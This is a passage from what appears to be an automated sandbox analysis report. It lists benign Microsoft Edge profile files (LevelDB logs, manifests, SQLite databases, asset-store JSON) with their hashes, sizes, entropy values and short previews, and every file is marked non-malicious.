MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.247906190993217
Encrypted:	false
SSDEEP:	6:HG+M2kXB1N723oH+Tcwtp3hBtB2KLlVG+M99+q2PN723oH+Tcwtp3hBWsIFUv:jkXBaYebp3dFL8+vVaYebp3eFUv
MD5:	CB6DED3251C9C79AE89F0CCC4FBF774D
SHA1:	F7FEF0E734BE142B1EABCE4A4C7EC53C57735E28
SHA-256:	E85BB13D86CCCEA217074DBB977AC5698BE230C4D395D2C5F8616F81D2CB87E0
SHA-512:	C6D9591F40320A3233268FD7E57C2A93B263DE734757E1CEB4718F8AE0C83C440D6ED6E30F252675192FC3F867E7F896DBD29D956EFB9D43ADEB6FC34E1B436B
Malicious:	false
Preview:	2024/11/23-22:20:39.898 1fbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/23-22:20:39.964 1fbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222880029088561
Encrypted:	false
SSDEEP:	24576:IbPMZpVCfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVCfx2mjF
MD5:	4483F34212327D30E7AF91703CEADC89
SHA1:	9FB1DF2D53579BED370657BF7E650176A7912721
SHA-256:	CA58416510F88AA3DB46FD42CCEBA3DA549700BC3975FA6E9EB17FDF453C4E4E
SHA-512:	E22FA488D004A5ADE3D6D3BA471DAA7E532B84315E722D0B5A3C095148D7E52E1EFEA25788D1DC24C10D98EFC6731A17807343C0B0117076ADC0748999F620D4
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.096795006807971
Encrypted:	false
SSDEEP:	6:HG+M6jdpyq2PN723oH+Tcwt9Eh1tIFUt8YG+M6htT1Zmw+YG+M6ndpRkwON723of:v5MvVaYeb9Eh16FUt8uhtT1/+uJ5OaYf
MD5:	03EA2E6870E1A0010AD23930C884C8B0
SHA1:	FA7C28DE92CFE562541D1E3E65D0F29E11B91FD8
SHA-256:	DF5DE77D369010C7DE8380AD1CBC15EF3A466CE1F911243B34B02D52EC1B286C
SHA-512:	032328A8C67C676CE4EA3B92B4C8277184C9A9501017A68B84F65BE3520F0547736E582170793ED73E3A0E87A0006C0A44BC8338BF0FC1D5146B7F9B3F64634F
Malicious:	false
Preview:	2024/11/23-22:20:39.475 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-22:20:39.477 2314 Recovering log #3.2024/11/23-22:20:39.493 2314 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.096795006807971
Encrypted:	false
SSDEEP:	6:HG+M6jdpyq2PN723oH+Tcwt9Eh1tIFUt8YG+M6htT1Zmw+YG+M6ndpRkwON723of:v5MvVaYeb9Eh16FUt8uhtT1/+uJ5OaYf
MD5:	03EA2E6870E1A0010AD23930C884C8B0
SHA1:	FA7C28DE92CFE562541D1E3E65D0F29E11B91FD8
SHA-256:	DF5DE77D369010C7DE8380AD1CBC15EF3A466CE1F911243B34B02D52EC1B286C
SHA-512:	032328A8C67C676CE4EA3B92B4C8277184C9A9501017A68B84F65BE3520F0547736E582170793ED73E3A0E87A0006C0A44BC8338BF0FC1D5146B7F9B3F64634F
Malicious:	false
Preview:	2024/11/23-22:20:39.475 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-22:20:39.477 2314 Recovering log #3.2024/11/23-22:20:39.493 2314 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4622236277917062
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuu8:TouQq3qh7z3bY2LNW9WMcUvBuu8
MD5:	201F5BE1BF8CE90D16FD59694D103DB9
SHA1:	67DF8BC27B898EE763752E5AF03BBF28930E10C4
SHA-256:	52AFE0CF4FA6DED48FBA6E5615D9D0B49665E98BF608CC7FD1CEE3C1898A0B0C
SHA-512:	1B9028ACCFDA65E2A32D3B4DE804A311520AB196C92B641836B4F674FCEDE0516B41D4A791C820F9319930560204F2B92A9EB1CB41809118A8662A4B87293303
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.158285286213524
Encrypted:	false
SSDEEP:	6:HG+MOAFq2PN723oH+TcwtnG2tMsIFUt8YG+MOAQZmw+YG+MOAYkwON723oH+Tcwj:MFvVaYebn9GFUt87Q/+7Y5OaYebn95J
MD5:	02F3AA1120B4F466DC27CC609419A3F3
SHA1:	1BA962BEF18F82042609FC0875FB7DE094C9FEE7
SHA-256:	9F7499CBF15A1E1070DBE02B0C02C56F01BE33C7362953B042C7CB385B62F496
SHA-512:	E22CD289C22B036B7B94DCD347B66416F0A65B38576D8B3FD633516F3D8F6C40615F9010382CA37DF548BA122D0A02A677BB2922795ED8B921FEDB10FB3205FA
Malicious:	false
Preview:	2024/11/23-22:20:35.588 1ee4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-22:20:35.588 1ee4 Recovering log #3.2024/11/23-22:20:35.588 1ee4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.158285286213524
Encrypted:	false
SSDEEP:	6:HG+MOAFq2PN723oH+TcwtnG2tMsIFUt8YG+MOAQZmw+YG+MOAYkwON723oH+Tcwj:MFvVaYebn9GFUt87Q/+7Y5OaYebn95J
MD5:	02F3AA1120B4F466DC27CC609419A3F3
SHA1:	1BA962BEF18F82042609FC0875FB7DE094C9FEE7
SHA-256:	9F7499CBF15A1E1070DBE02B0C02C56F01BE33C7362953B042C7CB385B62F496
SHA-512:	E22CD289C22B036B7B94DCD347B66416F0A65B38576D8B3FD633516F3D8F6C40615F9010382CA37DF548BA122D0A02A677BB2922795ED8B921FEDB10FB3205FA
Malicious:	false
Preview:	2024/11/23-22:20:35.588 1ee4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-22:20:35.588 1ee4 Recovering log #3.2024/11/23-22:20:35.588 1ee4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613009956712531
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWVoe7MAlse6:TLapR+DDNzWjJ0npnyXKUO8+jFypGkmL
MD5:	653C9DD06485BA951C0B316B1ABE650C
SHA1:	697C0EB8515EF196610983ABBFCC9EB77BD31EDC
SHA-256:	5D8377255DFA5324F0EE0DBD95487D8CE7B00C6621EC6CFC07289E177FA1AF9C
SHA-512:	85A0198CC47399823C211D912569EC30A82EE65A22EED1FE20C9FDD7B328E0A4B33E8A009159860CF5A16825015FA14DB8E9653EDA37AF7E8B20CA4068463E03
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354091470413575
Encrypted:	false
SSDEEP:	6144:TA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:TFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	77E82AA28D54253F4D0C26F12ED4B287
SHA1:	2E19D1F826C3BDC1E35CDF9FB03931A61532AF7C
SHA-256:	C6793C043AC4AF0877C2D1BB0358CC6002AB06E5AAF18CCF0D94C52B86693C91
SHA-512:	EC32B33BC6273A707E33962326E609034CE26443DB3E7914C74884B954DE91CCB0020C25C486B7B4ABE63BEC41A3DFC4CE999996963A6FAFB146529D255458F3
Malicious:	false
Preview:	...m.................DB_VERSION.1.-_.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376892043230793..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.133377534773522
Encrypted:	false
SSDEEP:	6:HG+M4fXOFB1N723oH+Tcwtk2WwnvB2KLlVG+MfaqM+q2PN723oH+Tcwtk2WwnvIg:R+BaYebkxwnvFL9qM+vVaYebkxwnQFUv
MD5:	AEC1C4DA900EF123B552F6C786E4DD25
SHA1:	461F5759B4BF93B1185A15F41FD451820835F924
SHA-256:	00527082B439468840D0006E258AFEE4231B72A2C61A167C6EE3D9B45EE7C17F
SHA-512:	4BD6E657C60CB92ED7E87185483910F33E96080F9AA60220B3C926B1D6FD0F485A8BF0E84BD21EFF20C15F7C27D01B52044830DBF974612D089F9F6514530507
Malicious:	false
Preview:	2024/11/23-22:20:39.619 22fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-22:20:39.748 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614686562843
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RL:C1gAg1zfvj
MD5:	3FEFEF3ED08E896C4C7D8519F7C7D879
SHA1:	89BCEE29393A7312F288E5838807614EFC59A111
SHA-256:	323FAB1A2611008D51631B530BDF553B81B13443F70D3751E004A9C7C94E3522
SHA-512:	8092DC294322BAF69E40D22CFA31BE308C1E29D1A7D22714775B62AF16E12C3DFDDF09BEBCD9EC90F365DB35C86F8D78C6E79AAA06A3180ECE5B2076CF06A9FE
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111726998663189
Encrypted:	false
SSDEEP:	6:HG+MUaSpQ+q2PN723oH+Tcwt8aPrqIFUt8YG+MUaSpdWZmw+YG+MU6VpQVkwON77:Di+vVaYebL3FUt8qm/+hViV5OaYebQJ
MD5:	46B5F6B07798A8420E8EA7B773DF5E03
SHA1:	9B2F548AE338EA189BA4D09C9A7E10D9F62AE394
SHA-256:	C77C0CCD82123C7C26FB023163FB29DE95B250013400793EA9706A6A39FD3EDF
SHA-512:	003EA4F182B9208045D2B3E0521FA556BA6AC335E99D14B5DF54EBD2C693487B2E0F6FBAFFC9C0261B80DCE476A3F9EA4B47D1DFB17711A20ECB78D4D3823907
Malicious:	false
Preview:	2024/11/23-22:20:35.606 130c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-22:20:35.606 130c Recovering log #3.2024/11/23-22:20:35.607 130c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111726998663189
Encrypted:	false
SSDEEP:	6:HG+MUaSpQ+q2PN723oH+Tcwt8aPrqIFUt8YG+MUaSpdWZmw+YG+MU6VpQVkwON77:Di+vVaYebL3FUt8qm/+hViV5OaYebQJ
MD5:	46B5F6B07798A8420E8EA7B773DF5E03
SHA1:	9B2F548AE338EA189BA4D09C9A7E10D9F62AE394
SHA-256:	C77C0CCD82123C7C26FB023163FB29DE95B250013400793EA9706A6A39FD3EDF
SHA-512:	003EA4F182B9208045D2B3E0521FA556BA6AC335E99D14B5DF54EBD2C693487B2E0F6FBAFFC9C0261B80DCE476A3F9EA4B47D1DFB17711A20ECB78D4D3823907
Malicious:	false
Preview:	2024/11/23-22:20:35.606 130c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-22:20:35.606 130c Recovering log #3.2024/11/23-22:20:35.607 130c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.101424791056598
Encrypted:	false
SSDEEP:	6:HG+M8SSQ+q2PN723oH+Tcwt865IFUt8YG+M8SSdWZmw+YG+M8SSQVkwON723oH+v:o+vVaYeb/WFUt8r/+7V5OaYeb/+SJ
MD5:	8FD6EBEFA0265279B62B88EB85699EC3
SHA1:	EBA0A13450EAD6D8BC06D69A01407BD6C83BC354
SHA-256:	3FE4D3020513AF015711A5D7138B79DA41A4123481A6CF9B9501FD69D5FEDD76
SHA-512:	284A58B4E540E9D64775E84C49829836000B6A663F22C9D598E831B0BF301C42C82EE5EFAA7FB8CEF4C7CD1A243C4FF6D05FCEB498B9B605C89F304CA64C2FEF
Malicious:	false
Preview:	2024/11/23-22:20:35.613 130c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-22:20:35.613 130c Recovering log #3.2024/11/23-22:20:35.613 130c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.101424791056598
Encrypted:	false
SSDEEP:	6:HG+M8SSQ+q2PN723oH+Tcwt865IFUt8YG+M8SSdWZmw+YG+M8SSQVkwON723oH+v:o+vVaYeb/WFUt8r/+7V5OaYeb/+SJ
MD5:	8FD6EBEFA0265279B62B88EB85699EC3
SHA1:	EBA0A13450EAD6D8BC06D69A01407BD6C83BC354
SHA-256:	3FE4D3020513AF015711A5D7138B79DA41A4123481A6CF9B9501FD69D5FEDD76
SHA-512:	284A58B4E540E9D64775E84C49829836000B6A663F22C9D598E831B0BF301C42C82EE5EFAA7FB8CEF4C7CD1A243C4FF6D05FCEB498B9B605C89F304CA64C2FEF
Malicious:	false
Preview:	2024/11/23-22:20:35.613 130c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-22:20:35.613 130c Recovering log #3.2024/11/23-22:20:35.613 130c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
